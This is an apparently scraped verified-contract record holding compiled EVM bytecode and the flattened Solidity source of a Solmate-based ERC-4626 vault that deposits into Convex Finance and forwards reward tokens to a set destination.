01b600052603260045260246000fd5b6001600160a01b0381168114620031b557600080fd5b5056fe60c06040523480156200001157600080fd5b5060405162000b7138038062000b718339810160408190526200003491620004af565b33606081811b60a05282901b6001600160601b031916608052620000669082906200006d602090811b6200010617901c565b506200057a565b62000093816000846001600160a01b0316620000be60201b62000135179092919060201c565b620000ba81600019846001600160a01b0316620000be60201b62000135179092919060201c565b5050565b8015806200014c5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b1580156200010f57600080fd5b505afa15801562000124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014a9190620004da565b155b620001c45760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b0390811663095ea7b360e01b179091526200021c9185916200022116565b505050565b60006200027d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316620002ff60201b62000285179092919060201c565b8051909150156200021c57808060200190518101906200029e91906200048b565b6200021c5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401620001bb565b60606200031084846000856200031a565b90505b9392505050565b6060824710156200037d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401620001bb565b843b620003cd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401620001bb565b600080866001600160a01b03168587604051620003eb9190620004f4565b60006040518083038185875af1925050503d80600081146200042a576040519150601f19603f3d011682016040523d82523d6000602084013e6200042f565b606091505b509092509050620004428282866200044d565b979650505050505050565b606083156200045e57508162000313565b8251156200046f5782518084602001fd5b8160405162461bcd60e51b8152600401620001bb919062000512565b6000602082840312156200049e57600080fd5b815180151581146200031357600080fd5b600060208284031215620004c257600080fd5b81516001600160a01b03811681146200031357600080fd5b600060208284031215620004ed57600080fd5b5051919050565b600082516200050881846020870162000547565b9190910192915050565b60208152600082518060208401526200053381604085016020870162000547565b601f01601f19169190910160400192915050565b60005b83811015620005645781810151838201526020016200054a565b8381111562000574576000848401525b50505050565b60805160601c60a05160601c6105c1620005b060003960008181604b015260e0015260008181608e015260bf01526105c16000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063488a49e314610046578063d1b812cd14610089578063d8245bb9146100b0575b600080fd5b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200160405180910390f35b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b6100b86100ba565b005b6101047f00000000000000000000000000000000000000000000000000000000000000007f0000000000000000000000000000000000000000000000000000000000000000610106565b565b61011b6001600160a01b038316826000610135565b6101316001600160a01b03831682600019610135565b5050565b8015806101be5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101bc91906104f3565b155b61022e5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261028090849061029e565b505050565b60606102948484600085610370565b90505b9392505050565b60006102f3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166102859092919063ffffffff16565b805190915015610280578080602001905181019061031191906104d1565b6102805760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610225565b6060824710156103d15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610225565b843b61041f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610225565b600080866001600160a01b0316858760405161043b919061050c565b60006040518083038185875af1925050503d8060008114610478576040519150601f19603f3d011682016040523d82523d6000602084013e61047d565b606091505b509150915061048d828286610498565b979650505050505050565b606083156104a7575081610297565b8251156104b75782518084602001fd5b8160405162461bcd60e51b81526004016102259190610528565b6000602082840312156104e357600080fd5b8151801515811461029757600080fd5b60006020828403121561050557600080fd5b5051919050565b6000825161051e81846020870161055b565b9190910192915050565b602081526000825180602084015261054781604085016020870161055b565b601f01601f19169190910160400192915050565b60005b8381101561057657818101518382015260200161055e565b83811115610585576000848401525b5050505056fea264697066735822122023deb8c4ab9183985c163a2a8158c184678752d6daa529f1f9aa5fb4f53f963c64736f6c63430008060033a26469706673582212209f8e6afcc48620769d5f6417632eec9f69b4b728fffa9dac236352efa6ec364264736f6c63430008060033
[ 4, 7, 9, 12, 13 ]
0xf3177168957a794552d587dac4f7a07a6a292d27
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.10; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol) /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. library SafeTransferLib { /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address to, uint256 amount) internal { bool callStatus; assembly { // Transfer the ETH and store if it succeeded or not. callStatus := call(gas(), to, amount, 0, 0, 0, 0) } require(callStatus, "ETH_TRANSFER_FAILED"); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferFrom( ERC20 token, address from, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument. mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 100 because the calldata length is 4 + 32 * 3. callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED"); } function safeTransfer( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED"); } function safeApprove( ERC20 token, address to, uint256 amount ) internal { bool callStatus; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector. mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value. // Call the token and store if it succeeded or not. // We use 68 because the calldata length is 4 + 32 * 2. callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED"); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPER LOGIC //////////////////////////////////////////////////////////////*/ function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) { assembly { // Get how many bytes the call returned. let returnDataSize := returndatasize() // If the call reverted: if iszero(callStatus) { // Copy the revert message into memory. returndatacopy(0, 0, returnDataSize) // Revert with the same message. revert(0, returnDataSize) } switch returnDataSize case 32 { // Copy the return data into memory. returndatacopy(0, 0, returnDataSize) // Set success to whether it returned true. success := iszero(iszero(mload(0))) } case 0 { // There was no return data. success := 1 } default { // It returned some malformed output. success := 0 } } } } /// @notice Arithmetic library with operations for fixed-point numbers. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol) /// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol) library FixedPointMathLib { /*/////////////////////////////////////////////////////////////// SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. } function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. } function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. } /*/////////////////////////////////////////////////////////////// LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // Divide z by the denominator. z := div(z, denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // First, divide z - 1 by the denominator and add 1. // We allow z - 1 to underflow is z is 0, because we multiply the // end result by 0 if z is zero, ensuring we return 0 if z is zero. z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1)) } } function rpow( uint256 x, uint256 n, uint256 scalar ) internal pure returns (uint256 z) { assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := scalar } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store scalar in z for now. z := scalar } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, scalar) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, scalar) } } } } } /*/////////////////////////////////////////////////////////////// GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { assembly { // Start off with z at 1. z := 1 // Used below to help find a nearby power of 2. let y := x // Find the lowest power of 2 that is at least sqrt(x). if iszero(lt(y, 0x100000000000000000000000000000000)) { y := shr(128, y) // Like dividing by 2 ** 128. z := shl(64, z) } if iszero(lt(y, 0x10000000000000000)) { y := shr(64, y) // Like dividing by 2 ** 64. z := shl(32, z) } if iszero(lt(y, 0x100000000)) { y := shr(32, y) // Like dividing by 2 ** 32. z := shl(16, z) } if iszero(lt(y, 0x10000)) { y := shr(16, y) // Like dividing by 2 ** 16. z := shl(8, z) } if iszero(lt(y, 0x100)) { y := shr(8, y) // Like dividing by 2 ** 8. z := shl(4, z) } if iszero(lt(y, 0x10)) { y := shr(4, y) // Like dividing by 2 ** 4. z := shl(2, z) } if iszero(lt(y, 0x8)) { // Equivalent to 2 ** z. z := shl(1, z) } // Shifting right by 1 is like dividing by 2. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // Compute a rounded down version of z. let zRoundDown := div(x, z) // If zRoundDown is smaller, use it. if lt(zRoundDown, z) { z := zRoundDown } } } } /// @notice Minimal ERC4646 tokenized Vault implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol) /// @dev Do not use in production! ERC-4626 is still in the review stage and is subject to change. abstract contract ERC4626 is ERC20 { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Deposit(address indexed from, address indexed to, uint256 amount, uint256 shares); event Withdraw(address indexed from, address indexed to, uint256 amount, uint256 shares); /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ ERC20 public immutable asset; uint256 internal immutable ONE; constructor( ERC20 _asset, string memory _name, string memory _symbol ) ERC20(_name, _symbol, _asset.decimals()) { asset = _asset; unchecked { ONE = 10**decimals; // >77 decimals is unlikely. } } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LOGIC //////////////////////////////////////////////////////////////*/ function deposit(uint256 amount, address to) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(amount)) != 0, "ZERO_SHARES"); // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), amount); _mint(to, shares); emit Deposit(msg.sender, to, amount, shares); afterDeposit(amount, shares); } function mint(uint256 shares, address to) public virtual returns (uint256 amount) { amount = previewMint(shares); // No need to check for rounding error, previewMint rounds up. // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), amount); _mint(to, amount); emit Deposit(msg.sender, to, amount, shares); afterDeposit(amount, shares); } function withdraw( uint256 amount, address to, address from ) public virtual returns (uint256 shares) { shares = previewWithdraw(amount); // No need to check for rounding error, previewWithdraw rounds up. if (msg.sender != from) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares; } beforeWithdraw(amount, shares); _burn(from, shares); emit Withdraw(from, to, amount, shares); asset.safeTransfer(to, amount); } function redeem( uint256 shares, address to, address from ) public virtual returns (uint256 amount) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (msg.sender != from && allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares; // Check for rounding error since we round down in previewRedeem. require((amount = previewRedeem(shares)) != 0, "ZERO_ASSETS"); beforeWithdraw(amount, shares); _burn(from, shares); emit Withdraw(from, to, amount, shares); asset.safeTransfer(to, amount); } /*/////////////////////////////////////////////////////////////// ACCOUNTING LOGIC //////////////////////////////////////////////////////////////*/ function totalAssets() public view virtual returns (uint256); function assetsOf(address user) public view virtual returns (uint256) { return previewRedeem(balanceOf[user]); } function assetsPerShare() public view virtual returns (uint256) { return previewRedeem(ONE); } function previewDeposit(uint256 amount) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? amount : amount.mulDivDown(supply, totalAssets()); } function previewMint(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply); } function previewWithdraw(uint256 amount) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? amount : amount.mulDivUp(supply, totalAssets()); } function previewRedeem(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply); } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LIMIT LOGIC //////////////////////////////////////////////////////////////*/ function maxDeposit(address) public virtual returns (uint256) { return type(uint256).max; } function maxMint(address) public virtual returns (uint256) { return type(uint256).max; } function maxWithdraw(address user) public virtual returns (uint256) { return assetsOf(user); } function maxRedeem(address user) public virtual returns (uint256) { return balanceOf[user]; } /*/////////////////////////////////////////////////////////////// INTERNAL HOOKS LOGIC //////////////////////////////////////////////////////////////*/ function beforeWithdraw(uint256 amount, uint256 shares) internal virtual {} function afterDeposit(uint256 amount, uint256 shares) internal virtual {} } /// @title Rewards Claiming Contract /// @author joeysantoro contract RewardsClaimer { using SafeTransferLib for ERC20; event RewardDestinationUpdate(address indexed newDestination); event ClaimRewards(address indexed rewardToken, uint256 amount); /// @notice the address to send rewards address public rewardDestination; /// @notice the array of reward tokens to send to ERC20[] public rewardTokens; constructor( address _rewardDestination, ERC20[] memory _rewardTokens ) { rewardDestination = _rewardDestination; rewardTokens = _rewardTokens; } /// @notice claim all token rewards function claimRewards() public { beforeClaim(); // hook to accrue/pull in rewards, if needed uint256 len = rewardTokens.length; // send all tokens to destination for (uint256 i = 0; i < len; i++) { ERC20 token = rewardTokens[i]; uint256 amount = token.balanceOf(address(this)); token.safeTransfer(rewardDestination, amount); emit ClaimRewards(address(token), amount); } } /// @notice set the address of the new reward destination /// @param newDestination the new reward destination function setRewardDestination(address newDestination) external { require(msg.sender == rewardDestination, "UNAUTHORIZED"); rewardDestination = newDestination; emit RewardDestinationUpdate(newDestination); } /// @notice hook to accrue/pull in rewards, if needed function beforeClaim() internal virtual {} } // Docs: https://docs.convexfinance.com/convexfinanceintegration/booster // main Convex contract(booster.sol) basic interface interface IConvexBooster { // deposit into convex, receive a tokenized deposit. parameter to stake immediately function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool); } interface IConvexBaseRewardPool { function pid() external view returns (uint256); function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool); function getReward(address _account, bool _claimExtras) external returns(bool); function balanceOf(address account) external view returns (uint256); function extraRewards(uint256 index) external view returns(IRewards); function extraRewardsLength() external view returns(uint); function rewardToken() external view returns(ERC20); } interface IRewards { function rewardToken() external view returns(ERC20); } /// @title Convex Finance Yield Bearing Vault /// @author joeysantoro contract ConvexERC4626 is ERC4626, RewardsClaimer { using SafeTransferLib for ERC20; /// @notice The Convex Booster contract (for deposit/withdraw) IConvexBooster public immutable convexBooster; /// @notice The Convex Rewards contract (for claiming rewards) IConvexBaseRewardPool public immutable convexRewards; uint256 public immutable pid; /** @notice Creates a new Vault that accepts a specific underlying token. @param _asset The ERC20 compliant token the Vault should accept. @param _name The name for the vault token. @param _symbol The symbol for the vault token. @param _convexBooster The Convex Booster contract (for deposit/withdraw). @param _convexRewards The Convex Rewards contract (for claiming rewards). @param _rewardsDestination the address to send CRV and CVX. @param _rewardTokens the rewards tokens to send out. */ constructor( ERC20 _asset, string memory _name, string memory _symbol, IConvexBooster _convexBooster, IConvexBaseRewardPool _convexRewards, address _rewardsDestination, ERC20[] memory _rewardTokens ) ERC4626(_asset, _name, _symbol) RewardsClaimer(_rewardsDestination, _rewardTokens) { convexBooster = _convexBooster; convexRewards = _convexRewards; pid = _convexRewards.pid(); _asset.approve(address(_convexBooster), type(uint256).max); } function updateRewardTokens() public { uint256 len = convexRewards.extraRewardsLength(); require(len < 5, "exceed max rewards"); delete rewardTokens; for (uint256 i = 0; i < len; i++) { rewardTokens.push(convexRewards.extraRewards(i).rewardToken()); } rewardTokens.push(convexRewards.rewardToken()); } function afterDeposit(uint256 amount, uint256) internal override { require(convexBooster.deposit(pid, amount, true), "deposit error"); } function beforeWithdraw(uint256 amount, uint256) internal override { require(convexRewards.withdrawAndUnwrap(amount, false), "withdraw error"); } function beforeClaim() internal override { require(convexRewards.getReward(address(this), true), "rewards error"); } /// @notice Calculates the total amount of underlying tokens the Vault holds. /// @return The total amount of underlying tokens the Vault holds. function totalAssets() public view override returns (uint256) { return convexRewards.balanceOf(address(this)); } }
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c806379054cc911610125578063ba087652116100ad578063d905777e1161007c578063d905777e146104cc578063dd62ed3e146104f5578063ef8b30f714610520578063f106845414610533578063fda45d861461055a57600080fd5b8063ba08765214610493578063c63d75b61461036f578063ce96cb77146104a6578063d505accf146104b957600080fd5b806394bf804d116100f457806394bf804d1461043f57806395d89b4114610452578063a9059cbb1461045a578063b3d7f6b91461046d578063b460af941461048057600080fd5b806379054cc9146103d25780637bb7bed1146103f95780637ecebe001461040c5780638457d0671461042c57600080fd5b806335d16e17116101a8578063402d267d11610177578063402d267d1461036f5780634cdad506146103845780634e8fd73a146103975780636e553f651461039f57806370a08231146103b257600080fd5b806335d16e171461032e5780633644e51514610336578063372500ab1461033e57806338d52e0f1461034857600080fd5b806318160ddd116101ef57806318160ddd1461028757806323b872dd146102905780632c62fa10146102a35780632cdacb50146102b6578063313ce567146102f557600080fd5b806301e1d1141461022157806306fdde031461023c578063095ea7b3146102515780630a28a47714610274575b600080fd5b61022961056d565b6040519081526020015b60405180910390f35b6102446105fd565b6040516102339190611a2b565b61026461025f366004611a95565b61068b565b6040519015158152602001610233565b610229610282366004611ac1565b6106f8565b61022960025481565b61026461029e366004611ada565b610726565b6102296102b1366004611b1b565b610806565b6102dd7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3181565b6040516001600160a01b039091168152602001610233565b61031c7f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff9091168152602001610233565b610229610828565b610229610853565b6103466108a9565b005b6102dd7f000000000000000000000000d632f22692fac7611d2aa1c0d552930d43caed3b81565b61022961037d366004611b1b565b5060001990565b610229610392366004611ac1565b6109c4565b6103466109e3565b6102296103ad366004611b38565b610cb5565b6102296103c0366004611b1b565b60036020526000908152604090205481565b6102dd7f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e81565b6102dd610407366004611ac1565b610d8c565b61022961041a366004611b1b565b60056020526000908152604090205481565b61034661043a366004611b1b565b610db6565b61022961044d366004611b38565b610e49565b610244610ee5565b610264610468366004611a95565b610ef2565b61022961047b366004611ac1565b610f58565b61022961048e366004611b68565b610f77565b6102296104a1366004611b68565b611090565b6102296104b4366004611b1b565b6111e6565b6103466104c7366004611baa565b6111f1565b6102296104da366004611b1b565b6001600160a01b031660009081526003602052604090205490565b610229610503366004611c21565b600460209081526000928352604080842090915290825290205481565b61022961052e366004611ac1565b611442565b6102297f000000000000000000000000000000000000000000000000000000000000002081565b6006546102dd906001600160a01b031681565b6040516370a0823160e01b81523060048201526000907f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b0316906370a0823190602401602060405180830381865afa1580156105d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f89190611c4f565b905090565b6000805461060a90611c68565b80601f016020809104026020016040519081016040528092919081815260200182805461063690611c68565b80156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106e69086815260200190565b60405180910390a35060015b92915050565b600254600090801561071d576107188161071061056d565b859190611462565b61071f565b825b9392505050565b6001600160a01b038316600090815260046020908152604080832033845290915281205460001981146107825761075d8382611cb9565b6001600160a01b03861660009081526004602090815260408083203384529091529020555b6001600160a01b038516600090815260036020526040812080548592906107aa908490611cb9565b90915550506001600160a01b0380851660008181526003602052604090819020805487019055519091871690600080516020611df5833981519152906107f39087815260200190565b60405180910390a3506001949350505050565b6001600160a01b0381166000908152600360205260408120546106f2906109c4565b60006105f87f0000000000000000000000000000000000000000000000000de0b6b3a76400006109c4565b60007f00000000000000000000000000000000000000000000000000000000000000014614610884576105f8611490565b507fa9e506ba1685e8376988d7e990d1589852ef27f7fadb9c3f7cd33c2f5d6ed4b590565b6108b161152a565b60075460005b818110156109c0576000600782815481106108d4576108d4611cd0565b60009182526020822001546040516370a0823160e01b81523060048201526001600160a01b03909116925082906370a0823190602401602060405180830381865afa158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190611c4f565b600654909150610968906001600160a01b038481169116836115f9565b816001600160a01b03167f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc67826040516109a391815260200190565b60405180910390a2505080806109b890611ce6565b9150506108b7565b5050565b600254600090801561